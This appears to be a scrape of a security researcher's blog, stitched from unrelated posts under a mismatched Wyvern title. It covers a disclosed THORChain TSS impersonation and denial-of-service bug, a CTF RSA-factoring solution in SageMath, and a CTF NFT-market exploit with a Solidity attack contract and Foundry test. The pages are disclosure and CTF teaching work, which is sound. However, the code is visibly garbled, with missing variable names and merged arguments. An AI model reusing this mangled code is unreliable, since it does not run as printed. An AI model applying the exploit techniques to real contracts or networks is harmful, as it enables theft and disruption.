https://blog.audit.haechi.io/wyvernv2_2_1day_vulnerabilities

 

Wyvern v2.2 1-day Vulnerabilities

Introduction

blog.audit.haechi.io

 

Introduction

On August 3rd, security researchers Jinu and rkm0959 found a vulnerability in THORChain TSS module, and submitted it via ImmuneFi. A malicious node operator (with a small number of malicious nodes) could launch DoS and blame other innocent node operator for it.

 

Understanding TSS & Usage

First, we need to understand what TSS actually is. Basically, a group of operators will each have their share of the ECDSA private key, and with enough people they can sign a message without revealing their share. THORChain used this to sign outbound transactions.

https://docs.thorchain.org/how-it-works/technology#thorchain-vaults

 

The cryptography inside TSS has been improving in terms of efficiency, security, and other properties over the years. The paper https://eprint.iacr.org/2021/060 presents a method where if the TSS signing fails, the system can find out which signer had caused the failure. This is called “Identifiable Abort” - and this is great as now the system can penalize the signer who caused the failure. For example, they can remove the rewards for block generation. This is exactly what THORChain did.

https://docs.thorchain.org/thornodes/overview

Attack Idea & Input Validation

This also means that if we can cause a signing failure while impersonating as other node operators, we can not only cause a DoS, but also do it while getting all the block rewards and placing the blame on others. Let’s take a look at the input validation.

 

Here, we see that the wireMsg.Routing.From.Id value is validated via a ECDSA signature.

If we want to forge that value, we would need to forge an ECDSA signature for it.

 

 

However, the nodes does not perceive the message sender as the cryptographically validated wireMsg.Routing.From.Id value. We see that the wireMsg.Message is unmarshalled, then each msg has its own Routing.From.Id, which is not validated. This is what’s actually used.

 

 

Now we can impersonate others. We now have to simply cause a DoS, but this can be easily done by sending invalid ZK proofs in the first stage of the signing process. There were no logs to find out who was the real culprit. We’ll see this in the proof of concept section below.

 

Proof of Concept

The below section is from the report we sent to the THORChain team.

We modified the tests the THORChain team wrote to demonstrate an exploit.

Exploit Scenario

There are four peers in the test. Their partyID is as follows.

  • Index 0, ID 1 ← this peer will be our “victim”, wrongly accused of delaying signing
  • Index 1, ID 0 ← this peer is “just a peer”
  • Index 2, ID 2 ← this peer is “just a peer”
  • Index 3, ID 3 ← this will be the “attacker peer”

In the first round of TSS signing, each peer should submit an appropriate NIZK proof to others. Here, the attacker peer will send an invalid NIZK proof to the two “just a peer”s while impersonating the “victim”. This can be done by simply modifying the tss.MessageRouting part of the message. Meanwhile, the attacker rewrites the ProcessOutCh function as ProcessOutChAttack, which implements the sendBulkMsg function differently, i.e. as sendBulkMsgAttack. In the sendBulkMsgAttack function, we set the wireMsg.Routing.From as the attacker peer’s party ID information, which is required to pass the signature check. Now the other “just a peer”s will check the signature with the attacker peer’s public key, yet think the invalid NIZK proofs originated from the “victim”, causing the damage.

 

Note that the test function calls SignMessage(), but in the real scenario KeySign() will be called first - but this is not a problem as the situation is the same. We note that every peer receives the request for KeySign() and participants know each other’s peer Index, ID, and public key.

 

Impact Analysis

The below section is from the report we sent to the THORChain team.

There are two cases - whether the set of operators that join the signing process is given, or not.

 

1. all participants that have a key share join in signing process

In the signing process, the attacker can cause a Denial of Service by sending an invalid proof while impersonating others in the Round 1 of TSS signing process. Recall that in Threshold ECDSA with Identifiable Abort (https://eprint.iacr.org/2021/060) that the participants can find the ones that caused the failure of signing. By impersonating others, the attacker can not only cause a DoS, but also do so while placing the blame on an innocent node operator. This means that the other operators may lose income as well. 

 

2. only some participants (in req.SignerPubKeys) join in the signing process

In this case, the attacker controlled node must be inside the req.SignerPubKeys to perform the attack - in this case, we can only temporarily delay the signing process, as eventually req.SignerPubKeys will not contain the attacker-controlled node.

 

However, the other operators will still be blamed for the failure of signing, which may lead to loss of income. Also, if the attacker controls some reasonable percentage of nodes (that are much less than 1/3) they still may be able to cause a DoS. Let’s crack the numbers.

 

For example, assume there are 92 thorchain nodes. (https://thorchain.net/nodes)

The system would need at least 62 nodes to join in on the signing process, as shown below.

 

It’s clear that the threshold is 2/3 of the number of participants

 

 

Therefore, if the attacker had just 3 nodes, the probability that the node set doesn’t contain any attacker controlled node is just binom(89, 62) / binom(92, 62) which is around 3%. This already slows down the system by 30 times. If the attacker controlled 10 nodes, the probability would be on the scale of 10^-6. This would be enough to be considered as a full DoS, done with just 10% of the nodes. Once again, note that it’s impossible to find out the real culprit due to the nature of this vulnerability.

 

Conclusion

This was regarded as a low severity bug, and we received 2K RUNE for this. We believed that the “impossible to find the real attacker” part was very dangerous, but the team asserted that the $1M minimum bond made the attack hard enough. The bug is now patched.

 

https://www.secmem.org/blog/2022/09/12/DarkPCS/

'Cryptography' 카테고리의 다른 글

New Lookup Argument  (0) 2022.11.04
Sum-Check Protocol and Applications  (0) 2022.10.24
ZK Hash Functions: Design & Analysis  (0) 2022.09.21
Isochronous Gaussian Sampler of [HPRR20]  (0) 2022.08.24
Privacy is a Crime Now  (0) 2022.08.12

https://github.com/rkm0959/rkm0959_presents/blob/main/ZKHash.pdf

 

GitHub - rkm0959/rkm0959_presents: Presentations by rkm0959

Presentations by rkm0959. Contribute to rkm0959/rkm0959_presents development by creating an account on GitHub.

github.com

https://youtu.be/zimoiVPRnp0

 

'Cryptography' 카테고리의 다른 글

Sum-Check Protocol and Applications  (0) 2022.10.24
Polynomial Commitment Scheme from DARK  (0) 2022.10.14
Isochronous Gaussian Sampler of [HPRR20]  (0) 2022.08.24
Privacy is a Crime Now  (0) 2022.08.12
On the insecurity of ROS  (0) 2022.08.04

Problem Description

We are given a 2000-bit RSA modulus $n$, with public exponent $e$. 

Here, we have $d_p, d_q < 2^{105}$ where $d_p, d_q$ are inverses of $e$ modulo $p-1, q-1$. 

We are given $d_p \pmod{2^{55}}, d_q \pmod{2^{55}}$ as a hint. We need to factor $n$. 

 

Solution

In the paper "Twenty Years of Attacks on the RSA Cryptosystem", there's a note that there is a $\tilde{\mathcal{O}}(\sqrt{d_p})$ attack against CRT-RSA. Since we don't know only 50 bits of $d_p$, it's worth thinking about whether the same attack works here. It turns out that it does! 

 

I explained the attack in my blog a few years ago (Korean), and I turned it into a challenge in picoCTF 2021.  

 

For completeness, I'll explain the full solution here. The idea is meet in the middle. We see that $$ \prod_{j=0}^{2^{25} - 1} \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + (i \cdot 2^{25} + j) \cdot 2^{55})} - m \right)$$ will be a multiple of $p$. This is because when we hit the pair $(i, j)$ such that $$hint_p + i \cdot 2^{80} + j \cdot 2^{55} = d_p$$ we'll multiply $$m^{ed_p} - m \equiv 0 \pmod{p}$$ into the product. To compute this, we write $$G(x) = \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + i \cdot 2^{80})} \cdot x - m \right)$$ Denoting $$z = m^{e \cdot 2^{55}} \pmod{n}$$ we see that it now suffices to compute $$G(z^0), G(z^1), \cdots G(z^{2^{25} - 1})$$ which is now a polynomial computation problem. To this, there are two methods. 

 

In the picoCTF, the challenge size was not too large - therefore, less optimal methods worked. At the time, the model solution was divide & conquer + FFT to compute $G$ in $\mathcal{O}(\sqrt{d_p} \log^2 \sqrt{d_p})$ time, and then using multipoint evaluation algorithm to evaluate it over the needed points. This method requires polynomial division, and overall has a quite large overhead. This is implemented in the github link above. 

 

Here, the size of the challenge is $2^{25}$ with 2000 bit modulus, so we need to be faster. To do so, we compute $G$ using the same method i.e. divider & conquer + FFT, but instead of using generic multipoint evaluation algorithms we note that the points we need to evaluate $G$ is geometric. Therefore, we may utilize the awesome Chirp-Z transform to our advantage. This will enable us to compute all evaluations with a single logarithm factor. This is what we implemented. For more information on Chirp-Z transform, check cp-algorithms.

 

However, there are quite a lot of obstacles due to large problem size - it took us over 24 hours to actually get the flag.

  • first, the FFT size in sagemath is apparently capped, so it can't multiply two polynomials of degree $2^{24}$
  • therefore, to multiply large polynomials, we have to split the polynomial and multiply in pieces ourselves
  • it turns out that this solution requires at least 128GB of RAM, and even this requires some memory optimizations
  •  on a good computing environment, our solution takes about 4~5 hours. 

The computation of $G$ took about 2 hours, and the remaining parts also took around 2 hours. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from sage.all import * 
import random as rand
from tqdm import tqdm 
import time 
from Crypto.Util.number import inverse, getPrime 
 
p_size = 1000
d_size = 105
l_size = 55
 
enc = 35558284230663313298312684064040643811204702946900174110911295087662938676356112802781671547473910691476600838877279843972105403072929243674403244286458898562457747942651643439624568905004454158744508429126554955023110569348839934098381885098523538078300248638407684468503519326866276798222721018258242443186786917829878515320321445508466038372324063139762003962072922393974710763356236627711414307859950011736526834586028087922704589199885845050751932885698053938070734392371814246294798366452078193195538346218718588887085179856336533576097324041969786125752304133487678308830354729347735644474025828
 
pk = (44774502335951608354043148360684114092901940301155357314508676399067538307546121753785009844275454594381602690061553832466871574728524408152400619047820736137949166290404514747591817206669966103047443912935755873432503095952914080827536130899968275165557303493867755627520568588808534411526058896791373252974606364861105086430729757064078675811147972536205086402752245214343186536177015741922559575575911278873118556603923689408629477875537332177644886701517140711134017511229202430437068095342526435886609381176269251580339549071944830141516001532825295594908434587285225415103472279090325281062442217, 29624366183227462965645558392954094074485353876807451497147549927093025197118051280445930543762170853769573962200247669305286333212410439624262142109295839433584663989554419810341266820063074908743295553517790354149623873028162282751352613333181218478850463012413786673509078012976454604598813805735677104174112776060905225493357010861225261560490401501912259585922988353328944884443953564154752191932500561561256069872534626325000901099904014035414792860997025614313564862063784602254606240743545483125618939111639728114664995759380293512809125885893543730614962375399353971677980309835647540883700977)
 
hint = (50134150243463894333469053087705)
 
 
(n, e) = pk
(hint_p, hint_q) = hint
 
SIZE = 1 << ((d_size - l_size) // 2)
= Zmod(n)(rand.randint(21 << 128))
print("m"int(m))
 
RR = Zmod(n)
 
chirp = m ** (e << l_size)
Fix1 = m ** (e * hint_p)
Fix2 = m ** (e << ((l_size + d_size) // 2))
 
sys.setrecursionlimit(10 ** 6)
 
= PolynomialRing(RR, 'x')
= P.gen()
 
= time.time()
 
cnt = 0 
 
DEG_BOUND = (1 << 24)
 
def getMul(f1, f2):
    if f1.degree() < DEG_BOUND and f2.degree() < DEG_BOUND:
        return f1 * f2
    arr = [RR(0)] * (f1.degree() + f2.degree() + 1)
    temp1 = f1.coefficients(sparse = False)
    temp2 = f2.coefficients(sparse = False)
    idx1 = 0
    U1s = []
    while idx1 <= f1.degree():
        U1s.append(P(temp1[idx1: idx1 + DEG_BOUND]))
        idx1 += DEG_BOUND 
    idx2 = 0
    U2s = []
    while idx2 <= f2.degree():
        U2s.append(P(temp2[idx2: idx2 + DEG_BOUND]))
        idx2 += DEG_BOUND
    idx1, idx2 = 00
    while idx1 * DEG_BOUND <= f1.degree():
        idx2 = 0
        while idx2 * DEG_BOUND <= f2.degree():
            temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
            for v in range(len(temp)):
                arr[(idx1 + idx2) * DEG_BOUND + v] += temp[v]
            idx2 += 1
        idx1 += 1
    return P(arr)
 
def compute(L, R):
    global cnt
    if R - L == (1 << 16):
        print("HEY", cnt)
        cnt += 1
    if L >= R:
        return 1 
    if L + 1 == R:
        return ((Fix2 ** L) * Fix1) * x - m
    f1 = compute(L, (L + R) // 2)
    f2 = compute((L + R) // 2, R)
    return getMul(f1, f2)
 
= compute(0, SIZE)
 
print(time.time() - T)
 
# now compute all 
print("computed G(x), now multipoint eval via chirp-z")
 
coefG = G.coefficients(sparse = False)
 
del G 
 
A1 = [RR(1), RR(1)]
cur = RR(1)
for i in tqdm(range(2, SIZE * 2)):
    cur = cur * chirpwa
    A1.append(A1[i-1* cur)
 
A0 = []
for i in tqdm(range(SIZE + 1)):
    A0.append(coefG[SIZE - i] / A1[SIZE - i])
 
del coefG
 
 
idx1 = 0
U1s = []
while idx1 <= SIZE:
    U1s.append(P(A0[idx1: idx1 + DEG_BOUND]))
    idx1 += DEG_BOUND 
del A0 
 
print("A0")
 
idx2 = 0
U2s = []
while idx2 <= SIZE * 2 - 1:
    U2s.append(P(A1[idx2: idx2 + DEG_BOUND]))
    idx2 += DEG_BOUND
 
print("A1")
 
arr = [RR(0)] * (SIZE)
idx1, idx2 = 00
while idx1 * DEG_BOUND <= SIZE:
    idx2 = 0
    while idx2 * DEG_BOUND <= SIZE * 2 - 1:
        temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False)
        for v in range(len(temp)):
            if SIZE <= (idx1 + idx2) * DEG_BOUND + v < 2 * SIZE:
                arr[(idx1 + idx2) * DEG_BOUND + v - SIZE] += temp[v]
        del temp 
        idx2 += 1
    idx1 += 1
 
print("now let's calculate it!")
 
for i in tqdm(range(0, SIZE)):
    val = arr[i] / A1[i]
    t = GCD(int(val), n)
    if t != 1 and t != n:
        print("Found!!!!", t)
 
print(time.time() - T)
 
cs

'CTF' 카테고리의 다른 글

BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
 
contract TctfNFT is ERC721, Ownable {
    constructor() ERC721("TctfNFT""TNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }
}
 
contract TctfToken is ERC20 {
    bool airdropped;
 
    constructor() ERC20("TctfToken""TTK") {
        _mint(address(this), 100000000000);
        _mint(msg.sender, 1337);
    }
 
    function airdrop() external {
        require(!airdropped, "Already airdropped");
        airdropped = true;
        _mint(msg.sender, 5);
    }
}
 
struct Order {
    address nftAddress;
    uint256 tokenId;
    uint256 price;
}
struct Coupon {
    uint256 orderId;
    uint256 newprice;
    address issuer;
    address user;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignedCoupon {
    Coupon coupon;
    Signature signature;
}
 
contract TctfMarket {
    event SendFlag();
    event NFTListed(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    event NFTCanceled(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId
    );
 
    event NFTBought(
        address indexed buyer,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    bool tested;
    TctfNFT public tctfNFT;
    TctfToken public tctfToken;
    CouponVerifierBeta public verifier;
    Order[] orders;
 
    constructor() {
        tctfToken = new TctfToken();
        tctfToken.approve(address(this), type(uint256).max);
 
        tctfNFT = new TctfNFT();
        tctfNFT.mint(address(tctfNFT), 1);
        tctfNFT.mint(address(this), 2);
        tctfNFT.mint(address(this), 3);
 
        verifier = new CouponVerifierBeta();
 
        orders.push(Order(address(tctfNFT), 11));
        orders.push(Order(address(tctfNFT), 21337));
        orders.push(Order(address(tctfNFT), 313333333337));
    }
 
    function getOrder(uint256 orderId) public view returns (Order memory order) {
        require(orderId < orders.length"Invalid orderId");
        order = orders[orderId];
    }
 
    function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
        require(price > 0"Invalid price");
        require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
        orders.push(Order(nftAddress, tokenId, price));
        emit NFTListed(msg.sender, nftAddress, tokenId, price);
        return orders.length - 1;
    }
 
    function cancelOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
        _deleteOrder(orderId);
        emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
    }
 
    function purchaseOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        _deleteOrder(orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(msg.sender, owner, order.price);
        nft.safeTransferFrom(owner, msg.sender, order.tokenId);
        emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
    }
 
    function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
        Coupon memory coupon = scoupon.coupon;
        require(coupon.user == msg.sender, "Invalid user");
        require(coupon.newprice > 0"Invalid price");
        verifier.verifyCoupon(scoupon);
        Order memory order = getOrder(coupon.orderId);
        _deleteOrder(coupon.orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(coupon.user, owner, coupon.newprice);
        nft.safeTransferFrom(owner, coupon.user, order.tokenId);
        emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
    }
 
    function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
        require(!tested, "Tested");
        tested = true;
        IERC721 nft = IERC721(nftAddress);
        uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price);
        nft.approve(address(this), tokenId);
        TctfMarket(this).purchaseOrder(orderId);
    }
 
    function win() external {
        require(tctfNFT.ownerOf(1== msg.sender && tctfNFT.ownerOf(2== msg.sender && tctfNFT.ownerOf(3== msg.sender);
        emit SendFlag();
    }
 
    function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
        IERC721 nft = IERC721(nftAddress);
        address owner = nft.ownerOf(tokenId);
        return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
    }
 
    function _deleteOrder(uint256 orderId) internal {
        orders[orderId] = orders[orders.length - 1];
        orders.pop();
    }
 
    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
 
contract CouponVerifierBeta {
    TctfMarket market;
    bool tested;
 
    constructor() {
        market = TctfMarket(msg.sender);
    }
 
    function verifyCoupon(SignedCoupon calldata scoupon) public {
        require(!tested, "Tested");
        tested = true;
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        Order memory order = market.getOrder(coupon.orderId);
        bytes memory serialized = abi.encode(
            "I, the issuer", coupon.issuer,
            "offer a special discount for", coupon.user,
            "to buy", order, "at", coupon.newprice,
            "because", coupon.reason
        );
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        require(coupon.issuer == owner, "Invalid issuer");
        require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
    }
}
 
 
 
cs

 

Problem Summary

The goal here is to emit the event SendFlag(). To do so, we need to gain control of all three NFTs. 

 

In the contract file, there is an ERC721 called "TctfNFT" and ERC20 called "TctfToken". We also see that during the initialization the marketplace contract gets 1337 TctfTokens. In the market's constructor, three NFTs are minted, the first to the NFT contract and the other to the market contract. These three NFTs are put on sale on a price of 1, 1337, and some insanely large price. We'll have to get all these NFTs.

 

Looking at the contract's methods, we see that

  • We may get an airdrop of 5 tokens but only once.
  • We can create a sell order of NFT under the condition that we have control (approval or owner) over it.
  • We can cancel a sell order of NFT under the condition that we have control over it.
  • We can purchase an order of NFT with enough tokens. 
  • We can purchase an order of NFT with a coupon, but only once. The issuer of the coupon should be the NFT owner, and we have to supply the signature of the issuer for the coupon. For this problem, we pretty much have to know the private key of the issuer. 
  • We can use purchaseTest() function only once. Here, the market creates one order and purchases it on its own.

Approach

The constraint gives us some hints on how to approach the problem. 

 

The first NFT is very cheap, so we can purchase without any trickery. The two functions purchaseTest() and purchaseWithCoupon() are very suspicious, and we can use these only once each. Therefore, each suspicious functions will have us stealing one NFT. Since purchaseWithCoupon() function gives us power to change a price of an order, we should use it to buy the third NFT. The second NFT costs 1337 tokens, and it just happens that the market contract holds 1337 tokens. Therefore, we should use purchaseTest function to steal those tokens. 

 

Part 1: The purchaseTest()

There are multiple ways to solve this part of the problem. I'll show my solution and sqrtrev's solution. 

 

The dangerous thing about many of the market's methods is that it takes the order ID as input. If we simply used a mapping for these orders, it would probably not be a problem. However, we use a variable length array to handle our orders. To keep our array length the same as the number of valid orders, we use a nice algorithm which can be seen in _deleteOrder(). When an element of the array is deleted, the element at the back is put at the location of the deleted element. This is also a strategy used in OpenZeppelin's EnumerableSet contracts to keep index of the elements. Now we see the problem - the value at a specific index may change due to element addition and deletion. 

 

Now let's take a look at the purchaseTest() function again. It creates order, then purchases the order. 

If we look at the createOrder() function again, we see that the only external calls are done to simply check the approval or ownership, but those are done with staticcalls. Therefore, we can't use that to attack. We also see that we can't perform the attack in purchaseOrder(). Thankfully for us, there is an approve call to the NFT address. This can definitely be used to our advantage. 

 

Basically, we create a dumb NFT and send it to the TctfMarket. We call purchaseTest() with the NFT. 

Inside the approve() call, we will create another order, which sells a dumb NFT that we own at 1337 tokens. Then, we will remove the order that we just created. This will make the order at the order ID equal to the "sell dumb NFT at 1337 token" order. Now the market will happily purchase this new order, sending us 1337 tokens. This gives us enough funds to buy the second NFT anytime we want. 

 

sqrtrev's solution is much simple, it simply sends the NFT that is being sold at purchaseTest() to our EOA at the approve() call. Inside the purchaseOrder() function, we see that the funds are sent to the owner of the token, so it'll be sent to us. Looking back, I overcomplicated this part of the problem. Part of it is because I took a look at EnumerableSet recently, I guess. It's all very cool ideas, so it's good. 

 

Part 2: The purchaseWithCoupon()

The first thing we have to notice is that verifyCoupon() is practically a view function. The getOrder() function inside is  view, so it'll be done with staticcall. The ownerOf() function is also view, so staticcall will be used. Therefore, we can't use the same idea to re-enter with a different order at coupon's order ID. Therefore, we can't do anything malicious until the token transfers come in.

 

We initially thought that the ideas from Part 1 still work, so I wrote all scripts and then realized that it doesn't work. 

I believed that a compiler bug must be the way to go, and began searching on solidity's list of known bugs.

 

Then I came across https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/

 

Head Overflow Bug in Calldata Tuple ABI-Reencoding

On July 5, 2022, Chance Hudson (@vimwitch) from the Ethereum Foundation discovered a bug in the Solidity code generator. The earliest affected version of the compiler is 0.5.8, which introduced ABI-reencoding of calldata arrays and structs. Solidity versio

blog.soliditylang.org

 

Literally everything matched the challenge - 

  • This solidity bug was patched in 0.8.16. The challenge uses 0.8.15.
  • It's stated that the last component must be static-sized array. It is bytes32[2].
  • It's stated that one dynamic component is needed. There is a bytes value. 
  • The bug clears the first 32 bytes of the first dynamic tuple. That happens to be order ID.
  • In the blog, it is stated that "Plausible attacks against affected contracts can only occur in situations where the contract accepts a static calldata array as a part of its input and forwards it to another external call without modifying the content." This is exactly what happens in purchaseWithCoupon() and verifyCoupon(). The SignedCoupon struct is sent in as a calldata, and it's directly forwarded.

Some testing shows that if we send a SignedCoupon with order ID 1, it's forwarded to verifyCoupon with order ID 0. 

This means that if we have some order that we control at order 0 and the order for the third NFT at some other place, we can use the coupon. This is because the order used to verify the coupon is the order 0, which we own the NFT of. This means that we can sign our own coupon, but use it on the order for the third NFT with the solidity bug. All that's left is to combine these.

 

Part 3: Combining Everything

We'll denote the order for the NFTs that we need to get as order #1, #2, #3. We note that for the bug at Part 2, we need a order that we control at the order ID 0. With this in mind, we will set up our attack as follows. We'll use sqrtrev's approach on Part 1.

  • Get the TctfToken airdrop. Currently, the orders on the market is [#1, #2, #3].
  • Perform sqrtrev's attack. We'll get 1337 tokens, and the orders on the market is still [#1, #2, #3].
  • We'll buy NFT #2 with our 1337 tokens, and the orders on the market is [#1, #3]
  • We'll mint a dumb NFT to ourself, and create an order. The orders on the market is [#1, #3, us].
  • Now we'll buy NFT #1 with 1 token. The orders on the market is [us, #3].
  • Now the order ID 0 is an order we control - so the attack from Part 2 works. We buy NFT #3 with 1 token. 

This will give us the flag. Foundry testing is very easy to do, but hardhat scripting was a bit painful. It can be done though.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// FakeNFT for attack
 
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Task.sol";
 
 
contract FakeNFT is ERC721 {
    uint256 called = 0;
    uint256 approved = 0;
    TctfMarket market;
    TctfToken token;
 
    constructor() ERC721("FakeNFT""FNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function getParams(address t1, address t2) public {
        market = TctfMarket(t1);
        token = TctfToken(t2);
    }
 
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
 
    function approve(address dest, uint256 tokenId) public override {
        if(approved == 0) {
            super.safeTransferFrom(msg.sender, USER, 1); // sqrtrev's code: he hardcoded USER here
        } else {
            super.approve(dest, tokenId);
        }
        approved += 1;
    }
 
    function safeTransferFrom(address, address, uint256) public override {
        
    }
}
 
// foundry testing
 
function setUp() public {
    vm.label(user, "user");
    vm.label(deployer, "deployer");
    vm.startPrank(deployer, deployer);
    market = new TctfMarket();
    vm.stopPrank();
 
    token = market.tctfToken();
    NFT = market.tctfNFT();
}
 
function testExploit() public {
    vm.startPrank(user);
    fakeNFT = new FakeNFT();
 
    emit log_address(address(fakeNFT));
 
    Coupon memory coupon;
    Signature memory signature;
    SignedCoupon memory scoupon;
    Order memory order;
 
    token.airdrop(); // get 5 tokens
 
    fakeNFT.mint(address(market), 1);
    market.purchaseTest(address(fakeNFT), 11337);
 
    token.approve(address(market), 1337 + 5);
 
    fakeNFT.mint(user, 2);
    fakeNFT.approve(address(fakeNFT), 2);
 
    market.createOrder(address(fakeNFT), 21);
    market.purchaseOrder(0); 
    market.purchaseOrder(1);
 
    coupon.orderId = 1;
    coupon.newprice = 1;
    coupon.issuer = user;
    coupon.user = user;
    coupon.reason = "rkm0959";
 
    order = market.getOrder(0);
 
    bytes memory serialized = abi.encode(
        "I, the issuer", coupon.issuer,
        "offer a special discount for", coupon.user,
        "to buy", order, "at", coupon.newprice,
        "because", coupon.reason
    );
 
    (signature.v, signature.rs[0], signature.rs[1]) = vm.sign(pvk, keccak256(serialized)); // pvk = user's private key
 
    scoupon.coupon = coupon;
    scoupon.signature = signature;
 
    emit log_uint(uint256(signature.v));
    emit log_bytes32(signature.rs[0]);
    emit log_bytes32(signature.rs[1]);
    
    market.purchaseWithCoupon(scoupon);
 
    market.win();
}
cs

'CTF' 카테고리의 다른 글

CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28

https://blog.chainsafe.io/vulnerability-update-security-improvements-to-chainbridge-erc-721-handler-c3d1425e71c

 

Vulnerability Update: Security Improvements to ChainBridge ERC-721 Handler

We would like to make our community aware of an issue that was recently discovered relating to the ChainBridge smart contracts.

blog.chainsafe.io

 

HAECHI LABS에서 ChainBridge 보안감사하다가 제가 찾은 취약점인데, 한 2~3년 정도 존재했던 버그입니다. 

 

https://twitter.com/haechi_audit/status/1564847037811552256

https://www.secmem.org/blog/2022/08/19/GaussianSampler/ 

 

Isochronous Gaussian Sampling of [HPRR20]

논문은 https://eprint.iacr.org/2019/1411.pdf 입니다. Post Quantum Cryptography and Lattices 지금 사용되고 있는 많은 암호화 체계, 예를 들면 블록체인에서 많이 사용되고 있는 ECDSA/EDDSA나 공개키 암호화를 위해

www.secmem.org

수식이 깨져서 고친 PR이 올라가있는 상태입니다.

'Cryptography' 카테고리의 다른 글

Polynomial Commitment Scheme from DARK  (0) 2022.10.14
ZK Hash Functions: Design & Analysis  (0) 2022.09.21
Privacy is a Crime Now  (0) 2022.08.12
On the insecurity of ROS  (0) 2022.08.04
Time in Cryptography: From Clock Cycles to Eternity  (0) 2022.07.24